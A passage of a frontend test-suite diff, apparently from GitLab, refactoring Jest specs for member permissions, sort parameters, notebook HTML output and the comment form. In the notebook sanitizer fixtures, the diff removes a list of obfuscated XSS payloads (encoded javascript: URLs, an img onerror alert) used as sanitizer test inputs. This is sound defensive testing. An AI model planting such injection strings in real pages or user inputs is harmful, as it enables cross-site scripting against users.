+ ...memberMock,
+ canRemove: true,
+ };
+
+ test.each`
+ member | sourceId | expected
+ ${memberCanRemove} | ${DIRECT_MEMBER_ID} | ${true}
+ ${memberCanRemove} | ${INHERITED_MEMBER_ID} | ${false}
+ ${memberMock} | ${INHERITED_MEMBER_ID} | ${false}
+ `('returns $expected', ({ member, sourceId, expected }) => {
+ expect(canRemove(member, sourceId)).toBe(expected);
+ });
+ });
+
+ describe('canResend', () => {
+ test.each`
+ member | expected
+ ${invite} | ${true}
+ ${{ ...invite, invite: { ...invite.invite, canResend: false } }} | ${false}
+ `('returns $expected', ({ member, sourceId, expected }) => {
+ expect(canResend(member, sourceId)).toBe(expected);
+ });
+ });
+
+ describe('canUpdate', () => {
+ const memberCanUpdate = {
+ ...memberMock,
+ canUpdate: true,
+ };
+
+ test.each`
+ member | currentUserId | sourceId | expected
+ ${memberCanUpdate} | ${IS_NOT_CURRENT_USER_ID} | ${DIRECT_MEMBER_ID} | ${true}
+ ${memberCanUpdate} | ${IS_CURRENT_USER_ID} | ${DIRECT_MEMBER_ID} | ${false}
+ ${memberCanUpdate} | ${IS_CURRENT_USER_ID} | ${INHERITED_MEMBER_ID} | ${false}
+ ${memberMock} | ${IS_NOT_CURRENT_USER_ID} | ${DIRECT_MEMBER_ID} | ${false}
+ `('returns $expected', ({ member, currentUserId, sourceId, expected }) => {
+ expect(canUpdate(member, currentUserId, sourceId)).toBe(expected);
+ });
+ });
+
+ describe('canOverride', () => {
+ it('returns `false`', () => {
+ expect(canOverride(memberMock)).toBe(false);
+ });
+ });
+
+ describe('parseSortParam', () => {
+ beforeEach(() => {
+ delete window.location;
+ window.location = new URL(URL_HOST);
+ });
+
+ describe('when `sort` param is not present', () => {
+ it('returns default sort options', () => {
+ window.location.search = '';
+
+ expect(parseSortParam(['account'])).toEqual(DEFAULT_SORT);
+ });
+ });
+
+ describe('when field passed in `sortableFields` argument does not have `sort` key defined', () => {
+ it('returns default sort options', () => {
+ window.location.search = '?sort=source_asc';
+
+ expect(parseSortParam(['source'])).toEqual(DEFAULT_SORT);
+ });
+ });
+
+ describe.each`
+ sortParam | expected
+ ${'name_asc'} | ${{ sortByKey: 'account', sortDesc: false }}
+ ${'name_desc'} | ${{ sortByKey: 'account', sortDesc: true }}
+ ${'last_joined'} | ${{ sortByKey: 'granted', sortDesc: false }}
+ ${'oldest_joined'} | ${{ sortByKey: 'granted', sortDesc: true }}
+ ${'access_level_asc'} | ${{ sortByKey: 'maxRole', sortDesc: false }}
+ ${'access_level_desc'} | ${{ sortByKey: 'maxRole', sortDesc: true }}
+ ${'recent_sign_in'} | ${{ sortByKey: 'lastSignIn', sortDesc: false }}
+ ${'oldest_sign_in'} | ${{ sortByKey: 'lastSignIn', sortDesc: true }}
+ `('when `sort` query string param is `$sortParam`', ({ sortParam, expected }) => {
+ it(`returns ${JSON.stringify(expected)}`, async () => {
+ window.location.search = `?sort=${sortParam}`;
+
+ expect(parseSortParam(['account', 'granted', 'expires', 'maxRole', 'lastSignIn'])).toEqual(
+ expected,
+ );
+ });
+ });
+ });
+
+ describe('buildSortHref', () => {
+ beforeEach(() => {
+ delete window.location;
+ window.location = new URL(URL_HOST);
+ });
+
+ describe('when field passed in `sortBy` argument does not have `sort` key defined', () => {
+ it('returns an empty string', () => {
+ expect(
+ buildSortHref({
+ sortBy: 'source',
+ sortDesc: false,
+ filteredSearchBarTokens: [],
+ filteredSearchBarSearchParam: 'search',
+ }),
+ ).toBe('');
+ });
+ });
+
+ describe('when there are no filter params set', () => {
+ it('sets `sort` param', () => {
+ expect(
+ buildSortHref({
+ sortBy: 'account',
+ sortDesc: false,
+ filteredSearchBarTokens: [],
+ filteredSearchBarSearchParam: 'search',
+ }),
+ ).toBe(`${URL_HOST}?sort=name_asc`);
+ });
+ });
+
+ describe('when filter params are set', () => {
+ it('merges the `sort` param with the filter params', () => {
+ window.location.search = '?two_factor=enabled&with_inherited_permissions=exclude';
+
+ expect(
+ buildSortHref({
+ sortBy: 'account',
+ sortDesc: false,
+ filteredSearchBarTokens: ['two_factor', 'with_inherited_permissions'],
+ filteredSearchBarSearchParam: 'search',
+ }),
+ ).toBe(`${URL_HOST}?two_factor=enabled&with_inherited_permissions=exclude&sort=name_asc`);
+ });
+ });
+
+ describe('when search param is set', () => {
+ it('merges the `sort` param with the search param', () => {
+ window.location.search = '?search=foobar';
+
+ expect(
+ buildSortHref({
+ sortBy: 'account',
+ sortDesc: false,
+ filteredSearchBarTokens: ['two_factor', 'with_inherited_permissions'],
+ filteredSearchBarSearchParam: 'search',
+ }),
+ ).toBe(`${URL_HOST}?search=foobar&sort=name_asc`);
+ });
+ });
+ });
+});
diff --git a/spec/frontend/merge_request_spec.js b/spec/frontend/merge_request_spec.js
index 37509f77f71..1cb7206b97f 100644
--- a/spec/frontend/merge_request_spec.js
+++ b/spec/frontend/merge_request_spec.js
@@ -38,7 +38,7 @@ describe('MergeRequest', () => {
.dispatchEvent(changeEvent);
setImmediate(() => {
expect($('.js-task-list-field').val()).toBe(
- '- [x] Task List Item\n- [ ] \n- [ ] Task List Item 2\n',
+ '- [x] Task List Item\n- [ ]\n- [ ] Task List Item 2\n',
);
done();
});
@@ -55,7 +55,7 @@ describe('MergeRequest', () => {
.dispatchEvent(changeEvent);
setImmediate(() => {
expect($('.js-task-list-field').val()).toBe(
- '- [ ] Task List Item\n- [ ] \n- [x] Task List Item 2\n',
+ '- [ ] Task List Item\n- [ ]\n- [x] Task List Item 2\n',
);
done();
});
@@ -78,7 +78,7 @@ describe('MergeRequest', () => {
`${TEST_HOST}/frontend-fixtures/merge-requests-project/-/merge_requests/1.json`,
{
merge_request: {
- description: '- [ ] Task List Item\n- [ ] \n- [ ] Task List Item 2\n',
+ description: '- [ ] Task List Item\n- [ ]\n- [ ] Task List Item 2\n',
lock_version: 0,
update_task: { line_number: lineNumber, line_source: lineSource, index, checked },
},
diff --git a/spec/frontend/monitoring/components/__snapshots__/dashboard_template_spec.js.snap b/spec/frontend/monitoring/components/__snapshots__/dashboard_template_spec.js.snap
index 645aca0b157..17720aeb702 100644
--- a/spec/frontend/monitoring/components/__snapshots__/dashboard_template_spec.js.snap
+++ b/spec/frontend/monitoring/components/__snapshots__/dashboard_template_spec.js.snap
@@ -33,7 +33,7 @@ exports[`Dashboard template matches the default snapshot 1`] = `
class="mb-2 pr-2 d-flex d-sm-block"
>
<gl-dropdown-stub
- category="tertiary"
+ category="primary"
class="flex-grow-1"
data-qa-selector="environments_dropdown"
headertext=""
diff --git a/spec/frontend/monitoring/components/group_empty_state_spec.js b/spec/frontend/monitoring/components/group_empty_state_spec.js
index 3b94c4c6806..4a550efe23c 100644
--- a/spec/frontend/monitoring/components/group_empty_state_spec.js
+++ b/spec/frontend/monitoring/components/group_empty_state_spec.js
@@ -1,13 +1,9 @@
import { GlEmptyState } from '@gitlab/ui';
import { shallowMount } from '@vue/test-utils';
+import { stubComponent } from 'helpers/stub_component';
import GroupEmptyState from '~/monitoring/components/group_empty_state.vue';
import { metricStates } from '~/monitoring/constants';
-const MockGlEmptyState = {
- props: GlEmptyState.props,
- template: '<div><slot name="description"></slot></div>',
-};
-
function createComponent(props) {
return shallowMount(GroupEmptyState, {
propsData: {
@@ -17,7 +13,9 @@ function createComponent(props) {
svgPath: '/path/to/empty-group-illustration.svg',
},
stubs: {
- GlEmptyState: MockGlEmptyState,
+ GlEmptyState: stubComponent(GlEmptyState, {
+ template: '<div><slot name="description"></slot></div>',
+ }),
},
});
}
@@ -47,7 +45,7 @@ describe('GroupEmptyState', () => {
});
it('passes the expected props to GlEmptyState', () => {
- expect(wrapper.find(MockGlEmptyState).props()).toMatchSnapshot();
+ expect(wrapper.find(GlEmptyState).props()).toMatchSnapshot();
});
});
});
diff --git a/spec/frontend/notebook/cells/output/html_sanitize_fixtures.js b/spec/frontend/notebook/cells/output/html_sanitize_fixtures.js
index a886715ce4b..0b585ab860b 100644
--- a/spec/frontend/notebook/cells/output/html_sanitize_fixtures.js
+++ b/spec/frontend/notebook/cells/output/html_sanitize_fixtures.js
@@ -1,114 +1,96 @@
+/**
+ * Jupyter notebooks handles the following data types
+ * that are to be handled by `html.vue`
+ *
+ * 'text/html';
+ * 'image/svg+xml';
+ *
+ * This file sets up fixtures for each of these types
+ * NOTE: The inputs are taken directly from data derived from the
+ * jupyter notebook file used to test nbview here:
+ * https://nbviewer.jupyter.org/github/ipython/ipython-in-depth/blob/master/examples/IPython%20Kernel/Rich%20Output.ipynb
+ */
+
export default [
[
- 'protocol-based JS injection: simple, no spaces',
+ 'text/html table',
{
- input: `<a href="javascript:alert('XSS');">foo</a>`,
- output: '<a>foo</a>',
+ input: [
+ '<table>\n',
+ '<tr>\n',
+ '<th>Header 1</th>\n',
+ '<th>Header 2</th>\n',
+ '</tr>\n',
+ '<tr>\n',
+ '<td>row 1, cell 1</td>\n',
+ '<td>row 1, cell 2</td>\n',
+ '</tr>\n',
+ '<tr>\n',
+ '<td>row 2, cell 1</td>\n',
+ '<td>row 2, cell 2</td>\n',
+ '</tr>\n',
+ '</table>',
+ ].join(''),
+ output: '<table>',
},
],
+ // Note: style is sanitized out
[
- 'protocol-based JS injection: simple, spaces before',
+ 'text/html style',
{
- input: `<a href="javascript :alert('XSS');">foo</a>`,
- output: '<a>foo</a>',
+ input: [
+ '<style type="text/css">\n',
+ '\n',
+ 'circle {\n',
+ ' fill: rgb(31, 119, 180);\n',
+ ' fill-opacity: .25;\n',
+ ' stroke: rgb(31, 119, 180);\n',
+ ' stroke-width: 1px;\n',
+ '}\n',
+ '\n',
+ '.leaf circle {\n',
+ ' fill: #ff7f0e;\n',
+ ' fill-opacity: 1;\n',
+ '}\n',
+ '\n',
+ 'text {\n',
+ ' font: 10px sans-serif;\n',
+ '}\n',
+ '\n',
+ '</style>',
+ ].join(''),
+ output: '<!---->',
},
],
+ // Note: iframe is sanitized out
[
- 'protocol-based JS injection: simple, spaces after',
+ 'text/html iframe',
{
- input: `<a href="javascript: alert('XSS');">foo</a>`,
- output: '<a>foo</a>',
+ input: [
+ '\n',
+ ' <iframe\n',
+ ' width="400"\n',
+ ' height="300"\n',
+ ' src="https://www.youtube.com/embed/sjfsUzECqK0"\n',
+ ' frameborder="0"\n',
+ ' allowfullscreen\n',
+ ' ></iframe>\n',
+ ' ',
+ ].join(''),
+ output: '<!---->',
},
],
[
- 'protocol-based JS injection: simple, spaces before and after',
+ 'image/svg+xml',
{
- input: `<a href="javascript : alert('XSS');">foo</a>`,
- output: '<a>foo</a>',
+ input: [
+ '<svg height="115.02pt" id="svg2" version="1.0" width="388.84pt" xmlns="http://www.w3.org/2000/svg">\n',
+ ' <g>\n',
+ ' <path d="M 184.61344,61.929363 C 184.61344,47.367213 180.46118,39.891193 172.15666,39.481813" style="fill:#646464;fill-opacity:1"/>\n',
+ ' </g>\n',
+ '</svg>',
+ ].join(),
+ output: '<svg height="115.02pt" id="svg2"',
},
],
- [
- 'protocol-based JS injection: preceding colon',
- {
- input: `<a href=":javascript:alert('XSS');">foo</a>`,
- output: '<a>foo</a>',
- },
- ],
- [
- 'protocol-based JS injection: UTF-8 encoding',
- {
- input: '<a href="javascript&#58;">foo</a>',
- output: '<a>foo</a>',
- },
- ],
- [
- 'protocol-based JS injection: long UTF-8 encoding',
- {
- input: '<a href="javascript&#0058;">foo</a>',
- output: '<a>foo</a>',
- },
- ],
- [
- 'protocol-based JS injection: long UTF-8 encoding without semicolons',
- {
- input:
- '<a href=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>foo</a>',
- output: '<a>foo</a>',
- },
- ],
- [
- 'protocol-based JS injection: hex encoding',
- {
- input: '<a href="javascript&#x3A;">foo</a>',
- output: '<a>foo</a>',
- },
- ],
- [
- 'protocol-based JS injection: long hex encoding',
- {
- input: '<a href="javascript&#x003A;">foo</a>',
- output: '<a>foo</a>',
- },
- ],
- [
- 'protocol-based JS injection: hex encoding without semicolons',
- {
- input:
- '<a href=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>foo</a>',
- output: '<a>foo</a>',
- },
- ],
- [
- 'protocol-based JS injection: null char',
- {
- input: '<a href=java\u0000script:alert("XSS")>foo</a>',
- output: '<a>foo</a>',
- },
- ],
- [
- 'protocol-based JS injection: invalid URL char',
- { input: '<img src=javascript:alert("XSS")>', output: '<img>' },
- ],
- [
- 'protocol-based JS injection: Unicode',
- {
- input: `<a href="\u0001java\u0003script:alert('XSS')">foo</a>`,
- output: '<a>foo</a>',
- },
- ],
- [
- 'protocol-based JS injection: spaces and entities',
- {
- input: `<a href=" &#14; javascript:alert('XSS');">foo</a>`,
- output: '<a>foo</a>',
- },
- ],
- [
- 'img on error',
- {
- input: '<img src="x" onerror="alert(document.domain)" />',
- output: '<img src="x">',
- },
- ],
- ['style tags are removed', { input: '<style>.foo {}</style> Foo', output: 'Foo' }],
];
diff --git a/spec/frontend/notebook/cells/output/html_spec.js b/spec/frontend/notebook/cells/output/html_spec.js
index 48d62d74a50..b94ce7c684d 100644
--- a/spec/frontend/notebook/cells/output/html_spec.js
+++ b/spec/frontend/notebook/cells/output/html_spec.js
@@ -1,26 +1,21 @@
-import Vue from 'vue';
-import htmlOutput from '~/notebook/cells/output/html.vue';
+import { mount } from '@vue/test-utils';
+import HtmlOutput from '~/notebook/cells/output/html.vue';
import sanitizeTests from './html_sanitize_fixtures';
describe('html output cell', () => {
function createComponent(rawCode) {
- const Component = Vue.extend(htmlOutput);
-
- return new Component({
+ return mount(HtmlOutput, {
propsData: {
rawCode,
count: 0,
index: 0,
},
- }).$mount();
+ });
}
it.each(sanitizeTests)('sanitizes output for: %p', (name, { input, output }) => {
const vm = createComponent(input);
- const outputEl = [...vm.$el.querySelectorAll('div')].pop();
-
- expect(outputEl.innerHTML).toEqual(output);
- vm.$destroy();
+ expect(vm.html()).toContain(output);
});
});
diff --git a/spec/frontend/notebook/lib/highlight_spec.js b/spec/frontend/notebook/lib/highlight_spec.js
index d71c5718858..944ccd6aa9f 100644
--- a/spec/frontend/notebook/lib/highlight_spec.js
+++ b/spec/frontend/notebook/lib/highlight_spec.js
@@ -9,7 +9,7 @@ describe('Highlight library', () => {
const el = document.createElement('div');
el.innerHTML = Prism.highlight('console.log("a");', Prism.languages.javascript);
- expect(el.querySelector('.s')).not.toBeNull();
- expect(el.querySelector('.nf')).not.toBeNull();
+ expect(el.querySelector('.string')).not.toBeNull();
+ expect(el.querySelector('.function')).not.toBeNull();
});
});
diff --git a/spec/frontend/notes/components/comment_form_spec.js b/spec/frontend/notes/components/comment_form_spec.js
index 59fa7b372ed..fca1beca999 100644
--- a/spec/frontend/notes/components/comment_form_spec.js
+++ b/spec/frontend/notes/components/comment_form_spec.js
@@ -1,18 +1,20 @@
-import $ from 'jquery';
-import { mount } from '@vue/test-utils';
+import { nextTick } from 'vue';
+import { mount, shallowMount } from '@vue/test-utils';
import MockAdapter from 'axios-mock-adapter';
import Autosize from 'autosize';
-import { trimText } from 'helpers/text_helper';
+import { deprecatedCreateFlash as flash } from '~/flash';
import axios from '~/lib/utils/axios_utils';
import createStore from '~/notes/stores';
import CommentForm from '~/notes/components/comment_form.vue';
import * as constants from '~/notes/constants';
+import eventHub from '~/notes/event_hub';
import { refreshUserMergeRequestCounts } from '~/commons/nav/user_merge_requests';
-import { keyboardDownEvent } from '../../issue_show/helpers';
+import UserAvatarLink from '~/vue_shared/components/user_avatar/user_avatar_link.vue';
import { loggedOutnoteableData, notesDataMock, userDataMock, noteableDataMock } from '../mock_data';
jest.mock('autosize');
jest.mock('~/commons/nav/user_merge_requests');
+jest.mock('~/flash');
jest.mock('~/gl_form');
describe('issue_comment_form component', () => {
@@ -20,17 +22,33 @@ describe('issue_comment_form component', () => {
let wrapper;
let axiosMock;
- const setupStore = (userData, noteableData) => {
- store.dispatch('setUserData', userData);
+ const findCloseReopenButton = () => wrapper.find('[data-testid="close-reopen-button"]');
+
+ const findCommentButton = () => wrapper.find('[data-testid="comment-button"]');
+
+ const findTextArea = () => wrapper.find('[data-testid="comment-field"]');
+
+ const mountComponent = ({
+ initialData = {},
+ noteableType = 'Issue',
+ noteableData = noteableDataMock,
+ notesData = notesDataMock,
+ userData = userDataMock,
+ mountFunction = shallowMount,
+ } = {}) => {
store.dispatch('setNoteableData', noteableData);
- store.dispatch('setNotesData', notesDataMock);
- };
+ store.dispatch('setNotesData', notesData);
+ store.dispatch('setUserData', userData);
- const mountComponent = (noteableType = 'issue') => {
- wrapper = mount(CommentForm, {
+ wrapper = mountFunction(CommentForm, {
propsData: {
noteableType,
},
+ data() {
+ return {
+ ...initialData,
+ };
+ },
store,
});
};
@@ -46,168 +64,157 @@ describe('issue_comment_form component', () => {
});
describe('user is logged in', () => {
- beforeEach(() => {
- setupStore(userDataMock, noteableDataMock);
-
- mountComponent();
- });
+ describe('avatar', () => {
+ it('should render user avatar with link', () => {
+ mountComponent({ mountFunction: mount });
- it('should render user avatar with link', () => {
- expect(wrapper.find('.timeline-icon .user-avatar-link').attributes('href')).toEqual(
- userDataMock.path,
- );
+ expect(wrapper.find(UserAvatarLink).attributes('href')).toBe(userDataMock.path);
+ });
});
describe('handleSave', () => {
it('should request to save note when note is entered', () => {
- wrapper.vm.note = 'hello world';
- jest.spyOn(wrapper.vm, 'saveNote').mockReturnValue(new Promise(() => {}));
+ mountComponent({ mountFunction: mount, initialData: { note: 'hello world' } });
+
+ jest.spyOn(wrapper.vm, 'saveNote').mockResolvedValue();
jest.spyOn(wrapper.vm, 'resizeTextarea');
jest.spyOn(wrapper.vm, 'stopPolling');
- wrapper.vm.handleSave();
+ findCloseReopenButton().trigger('click');
- expect(wrapper.vm.isSubmitting).toEqual(true);
- expect(wrapper.vm.note).toEqual('');
+ expect(wrapper.vm.isSubmitting).toBe(true);
+ expect(wrapper.vm.note).toBe('');
expect(wrapper.vm.saveNote).toHaveBeenCalled();
expect(wrapper.vm.stopPolling).toHaveBeenCalled();
expect(wrapper.vm.resizeTextarea).toHaveBeenCalled();
});
it('should toggle issue state when no note', () => {
+ mountComponent({ mountFunction: mount });
+
jest.spyOn(wrapper.vm, 'toggleIssueState');
- wrapper.vm.handleSave();
+ findCloseReopenButton().trigger('click');
expect(wrapper.vm.toggleIssueState).toHaveBeenCalled();
});
- it('should disable action button while submitting', done => {
+ it('should disable action button while submitting', async () => {
+ mountComponent({ mountFunction: mount, initialData: { note: 'hello world' } });
+
const saveNotePromise = Promise.resolve();
- wrapper.vm.note = 'hello world';
+
jest.spyOn(wrapper.vm, 'saveNote').mockReturnValue(saveNotePromise);
jest.spyOn(wrapper.vm, 'stopPolling');
- const actionButton = wrapper.find('.js-action-button');
-
- wrapper.vm.handleSave();
-
- wrapper.vm
- .$nextTick()
- .then(() => {
- expect(actionButton.vm.disabled).toBeTruthy();
- })
- .then(saveNotePromise)
- .then(wrapper.vm.$nextTick)
- .then(() => {
- expect(actionButton.vm.disabled).toBeFalsy();
- })
- .then(done)
- .catch(done.fail);
+ const actionButton = findCloseReopenButton();
+
+ await actionButton.trigger('click');
+
+ expect(actionButton.props('disabled')).toBe(true);
+
+ await saveNotePromise;
+
+ await nextTick();
+
+ expect(actionButton.props('disabled')).toBe(false);
});
});
describe('textarea', () => {
- it('should render textarea with placeholder', () => {
- expect(wrapper.find('.js-main-target-form textarea').attributes('placeholder')).toEqual(
- 'Write a comment or drag your files here…',
- );
- });
+ describe('general', () => {
+ it('should render textarea with placeholder', () => {
+ mountComponent({ mountFunction: mount });
- it('should make textarea disabled while requesting', done => {
- const $submitButton = $(wrapper.find('.js-comment-submit-button').element);
- wrapper.vm.note = 'hello world';
- jest.spyOn(wrapper.vm, 'stopPolling');
- jest.spyOn(wrapper.vm, 'saveNote').mockReturnValue(new Promise(() => {}));
+ expect(findTextArea().attributes('placeholder')).toBe(
+ 'Write a comment or drag your files here…',
+ );
+ });
- wrapper.vm.$nextTick(() => {
- // Wait for wrapper.vm.note change triggered. It should enable $submitButton.
- $submitButton.trigger('click');
+ it('should make textarea disabled while requesting', async () => {
+ mountComponent({ mountFunction: mount });
- wrapper.vm.$nextTick(() => {
- // Wait for wrapper.isSubmitting triggered. It should disable textarea.
- expect(wrapper.find('.js-main-target-form textarea').attributes('disabled')).toBe(
- 'disabled',
- );
- done();
- });
+ jest.spyOn(wrapper.vm, 'stopPolling');
+ jest.spyOn(wrapper.vm, 'saveNote').mockResolvedValue();
+
+ await wrapper.setData({ note: 'hello world' });
+
+ await findCommentButton().trigger('click');
+
+ expect(findTextArea().attributes('disabled')).toBe('disabled');
});
- });
- it('should support quick actions', () => {
- expect(
- wrapper.find('.js-main-target-form textarea').attributes('data-supports-quick-actions'),
- ).toBe('true');
- });
+ it('should support quick actions', () => {
+ mountComponent({ mountFunction: mount });
- it('should link to markdown docs', () => {
- const { markdownDocsPath } = notesDataMock;
+ expect(findTextArea().attributes('data-supports-quick-actions')).toBe('true');
+ });
- expect(
- wrapper
- .find(`a[href="${markdownDocsPath}"]`)
- .text()
- .trim(),
- ).toEqual('Markdown');
- });
+ it('should link to markdown docs', () => {
+ mountComponent({ mountFunction: mount });
- it('should link to quick actions docs', () => {
- const { quickActionsDocsPath } = notesDataMock;
+ const { markdownDocsPath } = notesDataMock;
- expect(
- wrapper
- .find(`a[href="${quickActionsDocsPath}"]`)
- .text()
- .trim(),
- ).toEqual('quick actions');
- });
+ expect(wrapper.find(`a[href="${markdownDocsPath}"]`).text()).toBe('Markdown');
+ });
+
+ it('should link to quick actions docs', () => {
+ mountComponent({ mountFunction: mount });
+
+ const { quickActionsDocsPath } = notesDataMock;
+
+ expect(wrapper.find(`a[href="${quickActionsDocsPath}"]`).text()).toBe('quick actions');
+ });
+
+ it('should resize textarea after note discarded', async () => {
+ mountComponent({ mountFunction: mount, initialData: { note: 'foo' } });
- it('should resize textarea after note discarded', done => {
- jest.spyOn(wrapper.vm, 'discard');
+ jest.spyOn(wrapper.vm, 'discard');
- wrapper.vm.note = 'foo';
- wrapper.vm.discard();
+ wrapper.vm.discard();
+
+ await nextTick();
- wrapper.vm.$nextTick(() => {
expect(Autosize.update).toHaveBeenCalled();
- done();
});
});
describe('edit mode', () => {
+ beforeEach(() => {
+ mountComponent();
+ });
+
it('should enter edit mode when arrow up is pressed', () => {
jest.spyOn(wrapper.vm, 'editCurrentUserLastNote');
- wrapper.find('.js-main-target-form textarea').value = 'Foo';
- wrapper
- .find('.js-main-target-form textarea')
- .element.dispatchEvent(keyboardDownEvent(38, true));
+
+ findTextArea().trigger('keydown.up');
expect(wrapper.vm.editCurrentUserLastNote).toHaveBeenCalled();
});
it('inits autosave', () => {
expect(wrapper.vm.autosave).toBeDefined();
- expect(wrapper.vm.autosave.key).toEqual(`autosave/Note/Issue/${noteableDataMock.id}`);
+ expect(wrapper.vm.autosave.key).toBe(`autosave/Note/Issue/${noteableDataMock.id}`);
});
});
describe('event enter', () => {
+ beforeEach(() => {
+ mountComponent();
+ });
+
it('should save note when cmd+enter is pressed', () => {
jest.spyOn(wrapper.vm, 'handleSave');
- wrapper.find('.js-main-target-form textarea').value = 'Foo';
- wrapper
- .find('.js-main-target-form textarea')
- .element.dispatchEvent(keyboardDownEvent(13, true));
+
+ findTextArea().trigger('keydown.enter', { metaKey: true });
expect(wrapper.vm.handleSave).toHaveBeenCalled();
});
it('should save note when ctrl+enter is pressed', () => {
jest.spyOn(wrapper.vm, 'handleSave');
- wrapper.find('.js-main-target-form textarea').value = 'Foo';
- wrapper
- .find('.js-main-target-form textarea')
- .element.dispatchEvent(keyboardDownEvent(13, false, true));
+
+ findTextArea().trigger('keydown.enter', { ctrlKey: true });
expect(wrapper.vm.handleSave).toHaveBeenCalled();
});
@@ -216,137 +223,187 @@ describe('issue_comment_form component', () => {
describe('actions', () => {
it('should be possible to close the issue', () => {
- expect(
- wrapper
- .find('.btn-comment-and-close')
- .text()
- .trim(),
- ).toEqual('Close issue');
+ mountComponent();
+
+ expect(findCloseReopenButton().text()).toBe('Close issue');
});
it('should render comment button as disabled', () => {
- expect(wrapper.find('.js-comment-submit-button').attributes('disabled')).toEqual(
- 'disabled',
- );
+ mountComponent();
+
+ expect(findCommentButton().props('disabled')).toBe(true);
});
- it('should enable comment button if it has note', done => {
- wrapper.vm.note = 'Foo';
- wrapper.vm.$nextTick(() => {
- expect(wrapper.find('.js-comment-submit-button').attributes('disabled')).toBeFalsy();
- done();
- });
+ it('should enable comment button if it has note', async () => {
+ mountComponent();
+
+ await wrapper.setData({ note: 'Foo' });
+
+ expect(findCommentButton().props('disabled')).toBe(false);
});
- it('should update buttons texts when it has note', done => {
- wrapper.vm.note = 'Foo';
- wrapper.vm.$nextTick(() => {
- expect(
- wrapper
- .find('.btn-comment-and-close')
- .text()
- .trim(),
- ).toEqual('Comment & close issue');
-
- done();
- });
+ it('should update buttons texts when it has note', () => {
+ mountComponent({ initialData: { note: 'Foo' } });
+
+ expect(findCloseReopenButton().text()).toBe('Comment & close issue');
});
- it('updates button text with noteable type', done => {
- wrapper.setProps({ noteableType: constants.MERGE_REQUEST_NOTEABLE_TYPE });
-
- wrapper.vm.$nextTick(() => {
- expect(
- wrapper
- .find('.btn-comment-and-close')
- .text()
- .trim(),
- ).toEqual('Close merge request');
- done();
- });
+ it('updates button text with noteable type', () => {
+ mountComponent({ noteableType: constants.MERGE_REQUEST_NOTEABLE_TYPE });
+
+ expect(findCloseReopenButton().text()).toBe('Close merge request');
});
describe('when clicking close/reopen button', () => {
- it('should disable button and show a loading spinner', () => {
- const toggleStateButton = wrapper.find('.js-action-button');
+ it('should show a loading spinner', async () => {
+ mountComponent({
+ noteableType: constants.MERGE_REQUEST_NOTEABLE_TYPE,
+ mountFunction: mount,
+ });
- toggleStateButton.trigger('click');
+ await findCloseReopenButton().trigger('click');
- return wrapper.vm.$nextTick().then(() => {
- expect(toggleStateButton.element.disabled).toEqual(true);
- expect(toggleStateButton.props('loading')).toBe(true);
- });
+ expect(findCloseReopenButton().props('loading')).toBe(true);
});
});
describe('when toggling state', () => {
- it('should update MR count', done => {
- jest.spyOn(wrapper.vm, 'closeIssue').mockResolvedValue();
+ describe('when issue', () => {
+ it('emits event to toggle state', () => {
+ mountComponent({ mountFunction: mount });
+
+ jest.spyOn(eventHub, '$emit');
+
+ findCloseReopenButton().trigger('click');
+
+ expect(eventHub.$emit).toHaveBeenCalledWith('toggle.issuable.state');
+ });
+ });
+
+ describe.each`
+ type | noteableType
+ ${'merge request'} | ${'MergeRequest'}
+ ${'epic'} | ${'Epic'}
+ `('when $type', ({ type, noteableType }) => {
+ describe('when open', () => {
+ it(`makes an API call to open it`, () => {
+ mountComponent({
+ noteableType,
+ noteableData: { ...noteableDataMock, state: constants.OPENED },
+ mountFunction: mount,
+ });
+
+ jest.spyOn(wrapper.vm, 'closeIssuable').mockResolvedValue();
+
+ findCloseReopenButton().trigger('click');
+
+ expect(wrapper.vm.closeIssuable).toHaveBeenCalled();
+ });
+
+ it(`shows an error when the API call fails`, async () => {
+ mountComponent({
+ noteableType,
+ noteableData: { ...noteableDataMock, state: constants.OPENED },
+ mountFunction: mount,
+ });
+
+ jest.spyOn(wrapper.vm, 'closeIssuable').mockRejectedValue();
+
+ await findCloseReopenButton().trigger('click');
+
+ await wrapper.vm.$nextTick;
+
+ expect(flash).toHaveBeenCalledWith(
+ `Something went wrong while closing the ${type}. Please try again later.`,
+ );
+ });
+ });
+
+ describe('when closed', () => {
+ it('makes an API call to close it', () => {
+ mountComponent({
+ noteableType,
+ noteableData: { ...noteableDataMock, state: constants.CLOSED },
+ mountFunction: mount,
+ });
+
+ jest.spyOn(wrapper.vm, 'reopenIssuable').mockResolvedValue();
- wrapper.vm.toggleIssueState();
+ findCloseReopenButton().trigger('click');
- wrapper.vm.$nextTick(() => {
- expect(refreshUserMergeRequestCounts).toHaveBeenCalled();
+ expect(wrapper.vm.reopenIssuable).toHaveBeenCalled();
+ });
+ });
+
+ it(`shows an error when the API call fails`, async () => {
+ mountComponent({
+ noteableType,
+ noteableData: { ...noteableDataMock, state: constants.CLOSED },
+ mountFunction: mount,
+ });
+
+ jest.spyOn(wrapper.vm, 'reopenIssuable').mockRejectedValue();
+
+ await findCloseReopenButton().trigger('click');
- done();
+ await wrapper.vm.$nextTick;
+
+ expect(flash).toHaveBeenCalledWith(
+ `Something went wrong while reopening the ${type}. Please try again later.`,
+ );
});
});
+
+ it('when merge request, should update MR count', async () => {
+ mountComponent({
+ noteableType: constants.MERGE_REQUEST_NOTEABLE_TYPE,
+ mountFunction: mount,
+ });
+
+ jest.spyOn(wrapper.vm, 'closeIssuable').mockResolvedValue();
+
+ await findCloseReopenButton().trigger('click');
+
+ expect(refreshUserMergeRequestCounts).toHaveBeenCalled();
+ });
});
});
describe('issue is confidential', () => {
- it('shows information warning', done => {
- store.dispatch('setNoteableData', Object.assign(noteableDataMock, { confidential: true }));
- wrapper.vm.$nextTick(() => {
- expect(wrapper.find('.confidential-issue-warning')).toBeDefined();
- done();
+ it('shows information warning', () => {
+ mountComponent({
+ noteableData: { ...noteableDataMock, confidential: true },
+ mountFunction: mount,
});
+
+ expect(wrapper.find('[data-testid="confidential-warning"]').exists()).toBe(true);
});
});
});
describe('user is not logged in', () => {
beforeEach(() => {
- setupStore(null, loggedOutnoteableData);
-
- mountComponent();
+ mountComponent({ userData: null, noteableData: loggedOutnoteableData, mountFunction: mount });
});
it('should render signed out widget', () => {
